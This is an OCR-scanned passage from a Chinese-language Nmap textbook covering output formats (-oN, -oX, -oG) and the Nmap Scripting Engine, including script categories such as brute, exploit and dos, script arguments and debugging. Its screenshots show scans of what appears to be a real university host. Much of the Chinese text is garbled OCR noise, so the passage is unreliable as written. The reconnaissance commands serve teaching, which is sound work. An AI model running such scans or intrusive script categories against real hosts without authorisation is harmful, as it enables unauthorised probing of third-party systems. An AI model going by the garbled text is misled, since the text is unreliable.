3172 94.,534582 192.168.153.128 18.16.39.44 C 51 39598 » 443 [RS]

3175 94.535576 192.168.153.128 18.16.39.44 Tcp 1 35541 - 135 [S !

3178 94.562591 192.168.153.128 18.16.39.44 1 35541 - 135 [ﬂ. l
3179 94.562592 192.168.153.128 190.16.35.44 CP 1 35541 + 13 5

3224 95,529915 18.16.39.44 192.168.153.128
3225 95.529916 18.16.39.44 192.168.153.128

|_?f;1 bytes on wire (592 blts}, ?4 b}ftEi l:aptured (592 h].ts] on 1nter-Face

& 6-20 i H] Wireshark &5 192.168.153.128 XA EHE R
Al LIFEH, TEXETE BN 192.168.153.128 =i 5 KE i um L 7% 1

95

oy & W A] DA A tep.flags==18 1E M JE 4y, B IEALEH T ACK. SYN #RIHAY%L

PEes, WK 6-21 R,
[FRE AT DL H X L T R A i (R R IR H 192.168.153.128,
MR XN EH TR, RET TR E, UMEE N4kt

XL

o WIRIXASAMK ASNTR Y, ARG H AR KR, BENMAX M RES

FNRARAITIRNL . IR 45 Bl A I O 2 BIA
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dm o iPREQRes=F aFEQQQn
[i| tep. flags==18
Ho. Tima Source Destination Frotocol

3165 94.532577 18.16.39.44 192.168.153.128

Kl 6-21 i tep.flags==18 1E M 85444 B 1 &3 )

6.3 IERFZEHMMIPGE

LY — PR EH R, AP INETCAR A RGN IT EANT, DA T 5, {H
UK AEFARER LB EEH RIAAR, BIFEE B K3 Z R W 24 & 21 %5 . 735 Morph F1 IP
Personality iX 2R 2R AL TS BIBF R . AR EBEROR t 2 — g,

BB & E AT ERE R G ARG INEL RSB A EEREER, Dok EE
#E# o AJLUEH Morph 5 IP Personality 25 X ™ME55 -

Morph 42 Linux #/E &% 11— 1. Morph 7] DU AE R G — > HoAth 2R A 1
BAER G, MR, Morph £ B8 R4 R GEXT TCP, UDP, ICMP %45 43 e iz, JH A,
UHBEEHITERAERGE MR, BRI RIBIERGER

IP Personality & Linux FAJA— PR . X FERFF]H iptables SkALEE TCP Hl UDP HYiE
Ko XANFRFRIEATRA T3 — P HBAERGRIEEE ), BEETEIRX BRGHE 8D,
PRE) R G 4

6.4 Nmap % Ak 5

WERIRE— NI N 4895 5 # a8 MR, sEa B r i 45 Rdi AR LY
g A A E B, JUHSRTEXT KA F AT AT e, WREA R 455, A
AT, SARA RS E BN . BAMRRTEERE P SE RIS EL, —0
PRUERE AL 1 B9 TR s S R A IR 2 A T

Nmap £ 6.20 A ZJ5, FFUASCRPEAE) A AR XML #480. XML #RE &) 32 H
T e-Learning i FH R A HITT %, KZERT H e-Learning S & # 3 F5F XML drf, —2 A



£ 6% Nmap NSRZASHiEfERE « 97

P 28 15 £% il 1 7 4N Cisco Juniper 5427 [ M 48 1% & L C 42 4L T 4 XML 193288, DAAFIF4
Ja 3T XML B R 245 7

TEATT A TPELI AN 41 Nmap 2 Q0] SC A Ak 19 . Nmap 4% X b A& AT
PE

Q WK Nmap (494 HPRAF R SCAR SO

Q Pk Nmap A% ORAF A XML U

Q WHYarE: Nmap #9400 B RAF A grep ST

N HEFEN A — T PR SRR B A SRS 2, Nmap 3R A0F .

nmap —-oN [*.txt] [target]

B Gl X H AR 10.16.39.8 IS R E R o:\test.txt,

Nmap -oN "c:\\test.txt" 10.16.39.8

PSSR ARSI 6-22 iR
[ Zenmap N ————— s — s |21 ]|

|I HiEE) IAM EHEE) SEEH)
Bix |10.16.39.8 v BE H E |mé‘
Pl map -oN "c\\test.txt” 10.16.39.8 |

Lz, | B | | nmapms w0/ | ma | zves| e

BESE 4 ), nmap -olN "c\\test.bd™ 10.16.39.8 =

=

Starting Nmap 7.3@ ( https://nmap.org ) at 2016-11-11 16:54 ?D10+éx2&+2?
Nmap scan report for bogon (16.16.39.8)

Host is up (8.8812= latency).

Not shown: 992 filtered ports

PORT STATE SERVICE

B@/tcp open http

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

1834/tcp open zincite-a

1845/tcp open Fpitp

1433/tcp open ms-sql-s

1434/tcp open ms-sgl-m

MAC Address: FC:4D:D4:3B:6C:27 (Universal Global Scientific Industrial)

Nmap done: 1 IP address (1 host up) scanned in 15.81 seconds

K 6-22 £ Zenmap FHREFARELE RIATE D] c:\\test. txt

Bl 6-23 25 HARAE T HIEEREY test.txt FHINE,
FHEANG— F A 45 R AR R — XML X429, Nmap 135U,

nmap —-oX [*.xml] [target]

Bk XF H AR 10.16.39.8 BFIHE 45 RAAFS] c:\\test. xml,

Nmap -oX "c:\\test.xml" 10.16.39.8
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» EHZIE—Nmap BT EHIHIAREM

KRG RO N xml A% FE, A 6-24 Fi.
’ ] test.txt - iD=E i L‘E.mh

XiHE @wm|E B0 FSN #EH

# Nmap 7.30 scan initiated Fri Nov 11 16:54:51 2016 as: nmap —oN c:htest. txt —o¥ c:l\users -
“admini 1\appdata‘\local\temp\zenmap—ebocsv. xml 10.16.39. 8

Nmap scan report for bogon (10. 16.39. 8)

Host is up (0.0012s latency).

Not showm: 992 filtered ports

PORT STATE SERVICE

80/tcp open httip

135/tcp open msrpc

139/tcp open netbios—ssn

445/tcp open microsoft-ds

1034/tcp open zincite-a

1045/tcp open fpitp

1433/tcp open ms—-sql-s

1434/tcp open ms-sql-m

MAC Address: FC:4D:D4:3B:6C:27 (Universal Global Scientific Industrial)

m

# Nmap done at Fri Nov 11 16:55:05 2016 —— 1 IP address (1 host up) scanned in 15.01 seconds -

E1/7,815)
Kl 6-23  SCASCIFHRNEE
<> Zenmap m (=] © [t
Higda) IRO MEP) SENH)
Bi® | 10.16.39.8 - | m= . &Té

< |nmap -oX "c\\testxml” 10.16.39.8

. Nmap#isct! | g801/2H1 | izt | T84 | =

B « =1 nmap -oX "c\\testxml® 10.16.39.8 7
L bogon (10.1

Starting Mmap 7.3@ ( https://nmap.org ) at 2016-11-11 16:57 ?D10tEx2&+22
Mmap scan report for bogon (16.16.39.8) i
Host iz up (@8.8813= latency).
Mot shown: 992 filtered ports
PORT STATE SERVICE

BO/tcp open http I
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1834/tcp open zincite-a
1845/tcp open fpitp
1433/tcp open ms-sql-s
1434/tcp open ms-sgl-m I |
MAC Address: FC:4D:D4:3B:6C:27 (Universal Global Scientific Industrial)

Nmap done: 1 IP address (1 host up) scanned in 15.29 seconds

& 6-24 7F Zenmap FR RS FARFED] c:\test. xml

] 6-25 4y HHRAF T H45 B0 testxml FRIAIZ,
FEA A — T UR T B85 A7 E) — grep SO, Nmap AT

nmap —-oG [*.grep] [target]

B ek X AR 10.16.39.8 BYFIFEST R IRAFE] c:\\test. grep.

Nmap —-oG "c:\\test. grep " 10.16.39.8



$£6E Nmap  ISEEASHiERERE <«

WSS SRR grep UM FEANE] 6-26 B .

FELEECET W i 00 G B s

= | =2 =

k & B | —
g 2260 ik 11 E
Hfﬁ B I U e X x| A ==
i i =ik i

| dpert pretocsl="top” pertid="80" {state state="open” reasen="syradk”
reasen_t1t1="128" /=<service name="http" nethed="table” conf="3"/></port>

{pert protocel="tcp” pertid="135">»<state state="9pen” reason="syn—ack”

I reason_tt1="128"/»<service name="msrpc’ method="table” conf="3"/><{/port’

‘pert protocol="tcp” portid="139" <state state="wpen” reason="synack’

reason 111="128" /r<service name="netblos—ssn” method="tanle” conr="3"/»</parts

cport protocol="1cp” portid="d45°r<state state="gpen” reason="svr—ack”

reason 11t1="128"/»<{service name="microseft—ds” method="table” conf="3"/>

<fport>

poert protocol="tcp” portid="1034"><{state state="open’ reason="simrack”

reason_t11="128"/»<service name="zincite—a" nethod="tahle” conf="3" /> part>

{port protocal="tep” portid="10457»<{state state="open’ reason="syn—ack”

reason 1t1="128" /»<service name="fpitp” method="table” conf="3"/>{/port>

{poert protocol="tcp” portid="1433"><state state="open’ reason="symack”

reason_tt1="128" /»<service name="ms-sql-5" method="table” conf="3"/><{/part>

{port protocal="tcp” portid="14324"»<{state state="open’ reason="sym—ack”

reason 1t1="128" /><service name="ms-sgl-n” method="table” conf="3"/>{/part?

{/ports’

{times srtt="1320" rttvar="574" to="100000"/>

{fhost>

{rmetated<finicshed time="147R854AAE" timestr="Fri Neowv 11 16:57:45 201687

ENEPXNES ENES-CNES ENEFENEEENRY SXRS EYRY- RN AN : TR TR [T OO 2SS F S 7 ES0S & S (NS A -1

-

0% @ —— @

 6-25 test.xml FAJTEINE
,fﬂ!‘} Zenmap
Him@ IR EBEP) HEH)
| Bi% |10.16.39.8 -| E= - -,

#8%: |nmap -oG "c\\test.grep" 10.16.39.8

| il " = I Nmapkid | &0/3=4] | ¥t | =484 | BiE

BiEEs: 4 H) nmap -oG "c\\test.grep” 10.16.39.8 -

=

i bogon (10.1

Nmap scan report for bogon (18.16.39.R)
Host is up (©8.8812s latency).

Not shown: 992 filtered ports

PORT STATE SERVICE

BO/tcp open http

135/tcp open msrpc

139/tcp open netbios-ssn

| 445/tcp open microsoft-ds
1834/tcp open zincite-a

| 1845/tcp open fpitp
1433/tcp open ms-sqgl-s

| 1434/tcp open ms-sql-m

MAC Address: FC:4D:D4:3B:6(:27 (Universal Global Scientific Industrial)

Nmap done: 1 IP address (1 host up) scanned in 14.47 seconds

Starting Nmap 7.3@ ( https://nmap.org ) at 2016-11-11 17:06 D1Giéx2&+2?

K 6-26 FE Zenmap TR TGS RAIRAER c:\test. grep
K 6-27 25 ARAF ¥ FAHEES AT test.grep HAYNZ .

99



100 3 EHZIR—Nmap NELEEITIRAE

( | test.grep - iIC=E * L liw1
B {0 B0 EEV #EmH

# Nmap 7.30 scan initiated Fri Nov 11 17:06:43 2016 as: nmap —ob c: -
“test. grep —oX c:jusers\admini 1\appdata‘ilocal\temp'zenmap-

otdZsj. xml 10.16.39. 8

Host: 10.16.39. 8 (bogon) otatus: Up

Host: 10.16.39.8 (bogon) Ports: 80/open/tep//http///,
135/open/tep/ /msrpe/ /7, 139/open/tcp//metbios—ssn///,

445/ open/tep//microsoft—ds///, 1034/open/tep//zincite-a///,

1045 /open/tep//fpitp///, 1433/open/tcp//ms—-sql-s///,

1434 /open/tcp//ms—sql —-m/// Ignored State: filtered (992)

# Nmap done at Fri Nov 11 17:06:57 2016 —— 1 IP address (1 host up)

lscamned 1n 14. 47 seconds

E17. 8175

& 6-27 test. grep FAYTELIAE

N

X T E S 4T Nmap (9 —28 R 6 A0, 8 13X L8 gt vl LA St S8 i H A R
2 R A L . 25t LM 258 B 61 59 A BE (i Wireshark SR Ar M5 R AR . Be)a
SME3 T Nmap ISR k. WTF—FIFR, K41 Nmap S50 58 K BIAS 44 5 4857



CHAPTER

FET7TE
NSE RIEMERD 07

R BEBA NSE (Nmap A G5 ), Nmap 17 2 28 0[] i REAE ) H A 4R —FF 58
NIRRT o 7E 2007 4EA A “fRi%2ZE” K4 F Gordon Fyodor Lyon & 4i T NSE, ##IHY
JA U T 32 2 DASGE R 55 A0 EHLE il > B 19, (B 2R AT 1655 H NSE SR & A 3<
SEREA A —2(TE 45, 04y, IERARM NSE C2E T 14 MICRMIAS, S50 500 24,
X B FHIAR (A T BE AL 45 X 4 Fh M 4% O 230 B B # 1 F . XTSRS 2 & S PEBC B 9 . XA Fb
1R 555 D R) ) B 345

M HEAR Bl fd F— T35 F MK TGRS — AR, R 58 K B9 NSE 2 58 Bl M E 55 2
BoHS% . HILHORZ TAVEAE M4 2277 ) —2% T/EE 125 %) NSE B A & TAE
H, Nmap H B JEIAS ZE T BT i AR R, TR 8 T TR ) B AR JE e — MR G 1 S 187

NSE AR H Lua iIE 5 RS, X1 1IES AR DIRE T+ R, R Logm e 5t
B TF % 2B 50 AT LURR A M 4R Lua 1885, A Lua iB85, AT LATRE b A o Hh it A A8 1 AT
LLETT RS

TEX—EH, REJHEI T NE

Q NSE WA RZ17 .

2 nfaf[a] NSE AL 135258

Q =ik

Q NSE % LA i

Q NSE FFEAER R E



102 » #HE#ZIR—Nmap MELLHIHREARBIW

7.1 NSE HIAR BT

NSE #1531 e i) B g2 3 5 Nmap B RIEM:, 753X — T oS3 3 B Bt NSE
H A AN A TR, PASANfa Xt NSE HR 5 i AS g f 114
PRAEAE F NSE AR — & R4 %% 7EX AP IRIn—4 % -sC,

Nmap —sV —sC -0 scanme.Nmap.org

XSRS EPAT R P2 BAR EVLETHRIERGEREN (-0) M HEIRRSE LIRS
i (-sV), mEZEBZEANH default GBRIN) 702K A BIAXT His sl (-sC)o X4~
R A — A 20 B s RS BUE S . (HEASHAT ST EBIRRES LS
BHAETE I B . 5 E B P AURIFA R AR IR Ir R Y, XA SRR B R
18, 1 root AL PR 7E{ F Nmap i), BROARFF 7 202 SYN 4.
Default (FKIN) 502K RIAIAIELNT .
Q bannerNSE : X2 —HULEE HHx banner {5 B WA, B4 #2 HArm— AT
) TCP % 1, AR ARl 7E 5 AP I i) 25 .
Q broadcast-ping.NSE: XA H % ping >R & BLM 45 i) 4L
Q dns-recursion.NSE: XA KK —~ DNS R 5528 2/ RIS = A, iF
XA ] BB P BUIR 5452 B DNS ORI .
Q upnp-info.NSE: XA Z2AG#E i UPnP IR RIBEURGE R -
Q Firewalk.NSE : %™ AlA<id i 8 F 1P WA A 9 TTL a3 BABL R 58 0T Bl K5 43 Y
&
X B H T I A, 5 NSE Friy2#8 500 2 A M T, X HRRADH—E 5
X LB RIS Yy L ] 22 Ab A2 B A TR A2 R L B X W 28 b A7 (5 Bl . £ F —/D R &F
5| NSE H A J& anfef 4753 281

7.1.1 NSE FRIAERID3E

HHT, Nmap "JRE A B IEIA 2 BTN RERLR AL 1 4038 7-1 fias 4028,
F 7-1 Nmap F X 49%E

w2 N 1 T
auth AR AT A RN ST B ERGES (SRS B4
b roadeast XA P AL E AR R AR Ja s ) N R SR Z il 55 TSR ARG, 1 CHCP, DNS, SQL Server
5 iz 5 O RRLAR
brute XLCERRFXT B ILAYRNLA , 4 HTTP/FTP S5 i % ) i i 65 19 I A
default XIEfEH] -sC B2 -A SRR BN A, RO T HEE T
discovery X M4 AT 20015 BICEE, 40 SMB Az, SNMP £ ifi 4




£ 7F NSERIEMEHDK 103

(2)
a  x i iR
dos PR e e i 44 Al 5 Tk ) AR
exploit FH K58 X B R R Ge e 4 il 2 & 1 i A
external FEXTSE —= 07 iR S5 n B AS
fuzzer FEATEMI NI IA , Aok 7 E B HARPL, HE0 H A il
N Al EE2 5| B bR 5 40 A B 0k 0 B s M4 i B R R R IR AS . X ZEIAAIR 2R 5 g T
HIBl K it el# IDS kB
malware PR RIS B A A
safe AR OL T AR e 2T F M4
version T e AR 55 S RRA<$3 4 (Version Detection) Tl 8E A4 il 4<
vuln ikt HAntlL2 &A% Wesieifl, 254240 MS08_067

47, BAERITE T NSE ArREXSEIA AL 1 14 F02E . AR AN ha7iX Le il A< g 7

7.1.2 NSE BAR%EE

A Nmap H 4R 7] LU A b 76 i 2 47 P 30 A --script 28 T 2R 58 B X I AS /Y 8 B,
i --script J& M 1 2 Z0H ] DL & A4S 19 22 5= (B4 “ broadcast-ping” ). B4~ myFp 28 (451 41l
“ discovery” ). F— A BAFES A (U0 /Nmap/scripts/broadcast-ping NSE ), & — 141
& T2 AR & (F40 /Nmap/scripts/), 735+ Nmap Ft 7AW, Mgt 7
— 36 BRI A e S 51

Nmap 7E AT o7 0] DL 2 {8 B IAS B9 24 ok B A A, 40, {3 A http-methods 773K
Bkt BAR Web ik 554% L Friats 9IRS

Nmap -p 80,443 --script http-methods 211.81,200.8

XA A B PATES R A& 7-1 B
Tty e e T Ay i |

HEE) LRI HHEE) T

H¥: |21L31.2m.3 E| e | 3 ) E

&4 |nmap -p 80,443 —-script hitp-methods 211.81.200.8 |

il EE | | Nmapsis | o | e e
FEFEESE 1 ¥ nmap -p 80,443 --script http-methods 211.81.200.8 |;| jﬁgﬂl
W

ro.tstc.edu

starting Mmap 7.38 { https://nmap.org ) at 2816-11-84 18:58 01Nithx28
4

Mmap scan report for zwx.tstc.edu.cn (211.81.200.8)

Host iz up (@.e@19z latency).

E

Ba/tcp open http

| http-methods:

| Supported Methods: GET HEAD POST PUT DELETE TRACE OFTIONS i
|_ Potentislly risky methods: PUT DELETE TRACE

443/tcp closed hitps

Mmep done: L IP address (1 host up) scenned in 18,13 ssconds

& 7-1 {di [ http-methods BIA<FH 1Y 25
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ME 7-1 i #H i Rl DUE H, BRI S48 0 X R J7 %8 GET. HEAD,
POST. PUT, DELETE, TRACE, OPTIONS % 7 #f, f#7£ KUK i) J7 %4 PUT., DELETE,
TRACEE,

st 5t n] LA RS 24 PR VA FH— A 2P i 28RS, Bilinfdi i safe 5328 g 458
AT HAR 211.81.200.8 FEATHEM ,

Nmap --script safe 211.81.200.8

i Ah, AT LAE Bl 24 28 i i A i B An AT s, 6] an il A discovery #1
intrusive P/~ 32 H 23R IIAS T H R 211.81.200.8 HEF 740 ,

Nmap --script discovery,intrusive 211.81.200.8

FHN—ANE WAL -sC, B4 --scriptDefault 475 . Wt A default 73028 F
AT H R #Ef T4 .

o n] LA 98 2 #4277 AR AT NSE JIAS . 4 a7 banner {32 F H 5% /Nmap/scripts/
T, BT MR E AL B T e, 2.

Nmap --script /Nmap/scripts/banner.NSE 211.81.200.8

Fie BN i, W] DL—W AT 24~ NSE A, #ilan, # B[R A banner F1—
NHC S B hello.NSE X HAR 211.81.200.8 #£47k: i, /NSE/user-defined/ /23% F C. 0 & H—
ANESE, WA 7-2 FiR i hello.NSE 23 17405 M— AN EIAS

G RAR [F] A4 T banner. NSE X4~ hello.NSE IA< gt v] LA FH 4 F A4

Nmap --script /Nmap/scripts/banner.NSE, /NSE/user-defined/hello.NSE 211.81.200.8
WARAR B PAT e th iy 2RI, Bl AT anl&l 7-3 Tz 9 /NSE/user-defined/ | B filr
A RIA

Nmap » NSE » user-defined v ‘-ir,“ 'gél Nmap » NSE » user-defined - ‘4,“ P
n(H) EI(H)
FE  FESd= #= FET=
— e — .—" = el Lol
fip-test.ns | hello.nse ] http-testn  testnse ftp-testns  hello.nse  http-test.n testnse
e se e se
Bl 7-2 A& X hello.NSE K 7-3 /NSE/user-defined/ T T A A

AR 2 m] LA H RS

Nmap --script /NSE/user-defined/ 211.81.200.8

Nmap 0 A] LM R A AR EFEE AT EA, THgs il 7—86] 7, FExsef]5
T “not” “or” “and” SFIBRAAFRKIEFEMA



% 7% NSERIEMED « 105

BIInAREFHER T exploit 7302 ASMNY P AT HARSEATRLI, Ar T
Nmap -sV --script "not exploit"™ 211.81.200.8

AR AB R 1 intrusive, dos. exploit 7325 IS Fr A BIA XS B gEA TR, A2,

Nmap --script "not (intrusive or dos or exploit)"™ -sV 211.81.200.8

S 2 A broadcast 1 discovery 73S AR H AR S EATHI, Ar2UnF

Nmap --script "broadcast and discovery" 211.81.200.8

NSE Hh SCHRFEBCAF “*” WA, BIInfExt—&121738 SNMP k55 AT AL T A6
i, WA AT E 5 SNMP AHSCHYIAAS (4] 40 snmp-brute, snmp-win32-users %), HiA]
LI 454> o

Nmap --script "snmp-*" 211.81.200.8

NSE A F:EXT o BB BAF G S 84E, BlunaBXF—4> FTP IR54s 21781, H
A B intrusive 4P IIAS, BEAT MERHIT @4 .

Nmap --script "ftp-* and not(intrusive)" 211.81.200.8

7.2 uifaf ] NSE A8 % 2 8

7.2.1 NSE PEBESEHIS

Nmap {5 ] --script-args >k $5 %&£ NSE JAIAZITHT S8 #lan, 7E55—Hs Bink S
fv F A 7k B A AR SE 4]

Nmap --script http-methods -p80 211.81.200.8
AT Nmap AR, Nmap 23 [8] H 5 iR 55 4% A 08 2005 42, Nmap 208 10 5 BT 62 2 1Y 3K
N P s nE 7-4 Pis

> Frame 287: 211 bytes on wire (1688 bits), 211 bytes captured (1688 bits) on interface ©

> Ethernet II, Src: Universa 3c:59:11 (fc:4d:d4:3c:59:11), Dst: Hangzhou 53:fa:d@ (00:23:89:53:fa:d@)
> Internet Protocol Version 4, Src: 10.16.39.44, Dst: 211.81.200.8

> Transmission Control Protocol, Src Port: 29984 (29984), Dst Port: 80 (80), Seq: 1, Ack: 1, Len: 157

Fl

> [Expert Info (Chat/Sequence): OPTIONS / HTTP/1.1\r\n]
Request Method: OPTIONS
Request URI: /
Request Version: HTTP/1.1

& 7-4 {di ] Wireshark £ 5 £ CEHE 1 09 2 P i
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XA i — MR s 2R, R4 ] LA --script-args B B0GX 1% i Chttp.

useragent) A Mozilla 42,

Nmap -p 80 =--script http-methods --script-args http.useragent="Mozilla 42"

211.81.200.8

B 7-5 BRI E LB T F iR . AR EER AT DIEH, XHE
P 2 2B HUCR Mozilla 42,

> Frame 30@3: 142 bytes on wire (1136 bits), 142 bytes captured (1136 bits) on interface @
> Ethernet II, Src: Universa 3c¢:59:11 (fc:4d:d4:3c:59:11), Dst: Hangzhou 53:fa:d@ (00:23:89:53:fa:d@)

Internet Protocol Version 4, Src: 10.16.39.44, Dst: 211.81.280.8
» Transmission Control Protocol, Src Port: 30025 (30025), Dst Port: 80 (8@), Seq: 1, Ack: 1, Len: 88

4 Hypertext Transfer Protocol

4 OPTIONS / HTTP/1.1\r\n
- [Expert Info (Chat/Sequence): OPTIONS / HTTP/1.1\r\n]

Request Method: OPTIONS

Request URI: /
Request Version: HTTP/1.1

ul® H o] 5 (] N N
User-Agent: Mozilla 42\r\n

wryn

[Full request URI: http://lwf.tstc.edu.cn/]

Kl 7-5 {8 Wireshark #7F SIME LIS AR .25 1 i

7.2.2 MEHHNHRBSE
MR AHE—-KHPITZ IR, SRS ZSIRL, A r] LI{#E A --script-args-
file K38 E — A XA, RIEHITAFESEEREEXA XA, [HREEFEE XX

A SO B BT A SR Bl AT A bR T .
filan, K 7-6 HAH T —1NSEEIFE,

| | myargs.txt - i0@&
T REE B0 =BV B5HH 0

http. useragent="Mozilla 42"

http. max—connections=100
userdh= /data/uzer-defined/users. 1=t

rassdb= /data/user—defined/passwords. 1st

Z157.215

K 7-6 KERTA T E SR EAN S E myargs.txt ({4
filtn, $ATI R XML .

Nmap --script "http-*" --script-args-file myargs.txt

BATIXAMENT, BT S0 2% XA S R N A AT

211.81.200.8



7.2.3 NSE {ZER

55 7% NSE f9EMERD

K

107

GUERAAUAE A FH Nmap JIAS 858 R SE ), b8t — 2 T IARY R, filin, &F

exploit Fh& A Bir & 3% 1 payload #t T LA A X~ A4,

Nmap --script http-methods --script-trace 211.81.200.8

--script-trace PHATHIRCR WA 7-7 Fos .

-

‘s Zenmap
Hitia) IROD KBEE) /EH)
Bt |211.812008 | ==

#%: | nmap --script-trace --script http-methods 211.81.200.8

L3t ] Bs | | ~mopmct | moymn| | svme)mm

BPEESE < TH] nmap --script-trace --script hitp-methods 211.81.200.8
[ Jyxxtstcedu

=] ¢ [

Starting Nmap 7.3@ ( https://nmap.org ) at 2016-11-84 14:32 ?D10+Ex2E+??
NSE: TCP 10.16.39.44:31034 > 211.81.200.8:80 | CONNECT

NSE: TCP 108.16.39.44:31034 > 211.81.200.8:80 | ooeeo0ee: 4F 58 54 49 4F d4e 53 20

2f 20 48 54 24 5@ 2+ 31 OPTIONS / HTTP/1

feaoee1a: 2e 31 8d Ba 43 &6f 62 6e 65 K3 74 69
BB0Beee28: 63 6c 6Ff 73 65 ©d Ba 55 V3 65 72 2d
peeeea3R: 74 3a 28 4d 6F Ta 69 6c 6c Bl 2F 35
boeeee4e: 63 6Ff bd 78 61 74 B9 B2 BC B5 3b 28
fpooEease: 28 53 63 72 69 78 74 60 62 BT 28 45
Poeeees8: B5 3b 20 B8 74 74 78 73 3a 2f 2f Ge
pgeeea7e: 6f 72 67 2f 62 6Ff 6F 6b 2f Be 73 65
Beeeeese: Bc 29 6d Ba 48 &6Ff 73 74 3a 20 Ba 63
eee00856: 73 74 63 2e 65 64 75 2e 63 be @d Ba

&f
41
2e
de
Ge
&d
2e
Ga
ed

Ge
67
38
bd
67
61
63
79
8a

NSE: TCP 10.156.39.44:31034 > 211.81.200.8:80 | SEND
NSE: TCP 18.16.39.44:31034 < 211.81.200.8:80 | oeeeoeee:

28 33 38 32 20 46 6Ff 75 HTTP/1.1 382 Fou
geeee810: 62 64 Bd @a 44 61 T4 65 3a 28 46 72
booeee2e: 34 20 4e of 7o 20 32 3@ 31 36 20 2@
Bee00838: 3a 31 39 28 47 4d 54 B8d 8a 4c 6f 63
BRe00R40: e Ja 20 08 74 74 7@ 3a 2 2T 77 77
Beeo0858: 74 63 2e 65 64 75 22 63 6e Bd Ba 43
Bpeoeese: e 74 2d 4c 65 be B7 74 68 3a 2@ 32
BeR00eT7R: 43 6Ff be 62 65 63 74 69 6Ff B2 3a 20
BeeeeesE0: 65 Bd Pa 43 6Ff be 74 65 6e 74 2d 54
peopeeoe: 28 74 65 7B T4 2¥ 68 74 Bd Bc 3b 28
Beeeeead: 73 65 74 3d 69 73 &f 2d 38 38 35 39
226008b8: 8d 8a 3c 21 44 4f 43 54 59 58 45 2@
BReeeacA: 28 5@ 55 42 4c 49 43 28 22 2d 2f 2F
pageeeds: 2+ 27 44 54 44 26 48 54 4d 4c 28 32
PE00pBe0: 45 42 22 38 Ba 3c BB 74 6d 6c 3e 3c
@e0008+e: e ®a 3c 74 69 74 6c 65 Je 33 3@ 32
4 1] [ b faoeelea: 6e 64 3c 2f 74 69 74 6c 65 3e Ba 3c
Beeee110: 64 3e 3c B2 6F 64 79 Je Ba 3c 68 31

m ARARRATIA ARa RA 3r 7 AR 31 3a Aa 3Ar TA 3[a B4

69
36
61
7
6f
38
63
79
63
2d
48
49
2e
B8
28
2F

Je
AR

2c
3a
74
2e
Ge
36
B
7@
63
31
54
45
e
65
46
6B

46
RS

3a
B85
28
61
69
78
74
e

20
33
69
74
74
Bd
6F
65
61
8d
4d
54
2F
61
&%
65

of
1]

28
be
28
7@
e
2e
6d
74

i@
31
&f
73
&5
@a
73
3a
72
2a
Ac
46
2f
G4
75
61

73
(¥}

.1 Connection:
close User-Agen
t: Mozilla/S.8 (
compatible; Nmap
Scripting Engin
e; https://nmap.
org/book/nse.htm
1) Host: jecjy.t
stc.edu.cn

48 54 54 58 2f 31

nd Date: Fri, @
4 Nov 2816 86:31
:19 GMT Locatio
n: http://www.ts
tc.edu.cn Conte
nt-Length: 286
Connection: clos
e Content-Type:
text/html; char
set=isn-8859-1

< !DOCTYPE HTML
PUBLIC “-//IETF
F/DTD HTML 2.8//
EN">» <html><head
» <title>3082 Fou
nd</title> </hea

d»<body> <hl>Fou
Aads Rl ¢nsTha A

=
—

2e 31

& 7-7 {difH --script-trace 4 A 45 SR
Wa] D -d[1-9] D)2 A =L, R -d BRE A REAES, FEmEFEE—1

M1 EN 9 BY(E, XABGEOK, Fan b SUREA

Nmap -sV —--script http-methods -d3 211.81.200.8

PATHIRCR AN 7-8 7 o

{i A —-packet-trace EI0 0] DA & P A3 & % AR B9 R 2. o

Nmap --script http-methods --packet-trace 211.81.200.8

PUATHIRCER A 7-9 BTN .
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e R R

i@ IO EEE) @8
Bt= |211.81.200.8 | E= REEREE

BT |nmap -d3 --script htip-methods 211.81.200.5 |

Lz )| ®s | | Nmepss | woen| ms | znes | sl

s 4 = nmap -d3 --script http-methods 211.81.200.8 ~| = |34
7] Jetsteedy | Trying to initialize Windows pcap esngine a ||
npcap service is already running. =
Winpcap present, dyrnamic linked to: Mpcap wversion 2.18 r2, baszed on libpcap I
wersion 1.9.0-PRE-GIT N

starting Nmap 7.38 ( htips://nmap.org ) at 2816-11-84 14:34 D10z8x<22+27
Fetchfile found C:%Program Files (x&b)%“Nmap/rmap-s2rvices
PORTS: Using top 1288 ports found open [TCP:1@e@, UDP:@, SCTP:@)
Fetchfile found [:“Program Files (x86)\Nmap/rmap.xsl
The max # of sockets we are using is: @8
--------------- Timing report ---------------
hestgroups: min 1, max 108606
rit-timeouts: Init 1ee8, min 189, max 19986
max-scan-delay: TCP 1883, UDP 1898, SCTP 1898
parallelism: min @, max @ i
max-retries: 18, host-timeout: @
min-rate: @, max-rate: @

e i

MEE: Using Lua G.3.

Fetchfile found C:%Program Files (xE86)%Nmap/rnsc_nain.lua

Fetchfile found C:%ZFrogram Files (x86)WNmap/nselib/lpeg-utility.lua

Fetchtile found C:%ZProgram Files (x&6)%Nmap/nselibystdnse.lua

Fetchfile found C:\Program Files (x86)%\Nmap/nselib/strict.lua

Fetchfile found C:“Program Files (x86)%Nmap/=zcriptsiscript.db

M&SE: Arguments +rom CLTI:

Fetchfile found C:“ZProgram Files (x88)%Mmap/scriptzihttp-methods . nze

MSE: Script http-methoeds.nse was sslected by name.

Fetchfile found C:wProgram Flles (x86)WNmap/nsellbshttp.lua

Fetchfile found C:%Frogram Files (x86)%Nmap/nselib/basesd.lua

Fetchfile found C:%\PFrogram Files (xE6)%HNmap/nselibsbin.lua

Fetchfile found C:\Program Files (x86)\Nmap/nselibs/bit.lua

Fetehfile found [ :\Program Files (x&R)1\Nmap/rselibs/comm.lua

Fetchfile found C:%“WProgram Files (xE&8)“Mmap/rnselib/shortport . lua

i —TTr— 3 Fetchfile found C:%“Pregram Files (x86)%Hmap/rselibfunittest.lua
Fetchfile found C:%Frogram Files (xE86)%Nmap/nselib/nsedebug.lus

-
mﬂ FetrhFile Frnnd CwvPracram Files (vRARTYHmansnzal Tha1datnn Tnia IJ

& 7-8 8% -d3 B RIS R

= Zenmap

HiEia) LRI EEE) AL

B |211.81200.8 -| == | - e
A |r1rnap --packet-trace --script http-methods 211.81.200.8
Lt ] B | | Nmepws|woysn| me | znese| asl
HBAEEE: 4 HH, nmap --packet-trace --scnpt hitp-methods 211.81.200.8 | = Ilﬂﬂ‘
e Jyctste.edu i
Starting Mmap 7.38 [ https://nmap.org ) at 2016-11-84 14:35 2D1h+éxI&+7? =

SENT (2.8378s) ICMP [18.16.39.44 » 211.81.200.8 Echo request (tyvpe=&/code=8)
